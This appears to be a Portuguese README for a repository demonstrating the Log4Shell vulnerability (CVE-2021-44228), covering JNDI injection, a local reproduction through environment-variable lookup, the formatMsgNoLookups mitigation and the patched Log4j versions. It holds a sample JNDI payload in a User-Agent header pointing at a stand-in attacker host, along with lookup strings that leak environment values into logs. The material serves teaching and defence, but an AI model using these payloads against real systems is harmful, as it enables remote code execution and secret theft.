
Uma simples simulação do infame problema CVE-2021-44228.
Este repositório representa uma simulação simplificada do notório problema CVE-2021-44228.
Além de propriedades de sistema e outras consultas a estruturas de dicionário, o Apache Log4j também implementa o recurso de consulta JNDI por vários motivos. O JNDI pode obter serviços de uma série de provedores de serviço, como LDAP, DNS, registro Java RMI, etc. O próprio JNDI é uma API simples e insegura que não protege contra provedores de serviço controlados por terceiros. Enquanto o atacante controlar um servidor publicamente acessível por meio da URL maliciosa e souber o que está sendo registrado pela aplicação que escuta em uma porta específica, ele pode abusar do formato do log para fazer a aplicação carregar e executar código Java arbitrário por meio de injeção JNDI. Isso pode ser passado por meio de cabeçalhos de requisição comumente registrados, tanto em texto simples quanto em forma ofuscada.
user-agent: ${jndi:ldap://evilserver.com/payload}
O Apache Log4j estava vulnerável à vulnerabilidade de execução remota de código antes do lançamento da versão 2.16.0 em 13 de dezembro, e os autores merecem meu devido respeito pela resposta rápida.
Recursos:
A simulação usa variáveis de ambiente em vez de um servidor LDAP, e o formato do log também suporta a substituição de propriedades. O princípio não é diferente.
Java 11 e Maven são necessários; no entanto, o Maven Wrapper também está incluído no repositório.
O repositório do GitHub define um segredo de repositório PASSWORD que é definido como variável de ambiente no arquivo de workflow .github/workflow/ci.yml para disponibilizar um segredo a uma action.
Para reproduzir o problema localmente, uma variável de ambiente comumente usada, JAVA_HOME, pode ser utilizada.
O workflow compila e executa duas aplicações com versões diferentes do Apache Log4j, 2.14.1 e 2.16.0, e aqui está uma execução de exemplo no GitHub Actions: Java CI #7.
Esta versão é vulnerável ao ataque. Siga estas etapas para reproduzir:
mvn clean install -f log4j-2.14.1
java -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
A variável de ambiente aparece registrada:
args[0] = C:\Program Files\Java\jdk-11.0.11
Aqui está uma captura de tela da GitHub Action apenas para o caso de a execução real ser removida automaticamente:

Observe que, ao tentar imprimir segredos no log, o GitHub os redige automaticamente e os valores são mascarados e exibidos como ***.
A propriedade, no entanto, foi substituída.
Uma solução temporária e parcial é instruída por meio da adição do parâmetro JVM -Dlog4j2.formatMsgNoLookups=True; portanto, é necessário reiniciar todos os nós da aplicação.
mvn clean install -f log4j-2.14.1
java "-Dlog4j2.formatMsgNoLookups=True" -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'
Nenhuma substituição de propriedade ocorre:
args[0] = ${env:JAVA_HOME:-}
Novamente, aqui está uma captura de tela do GitHub Actions:

O problema foi corrigido no Log4j 2.12.2 (Java 7) e no Log4j 2.16.0 (Java 8) pela equipe de segurança do Log4j.
mvn clean install -f log4j-2.16.0
java -jar .\log4j-2.16.0\target\log4j-2.16.0.jar '${env:JAVA_HOME:-}'
Nenhuma substituição de propriedade ocorre:
args[0] = ${env:JAVA_HOME:-}
Novamente, aqui está uma captura de tela do GitHub Actions:
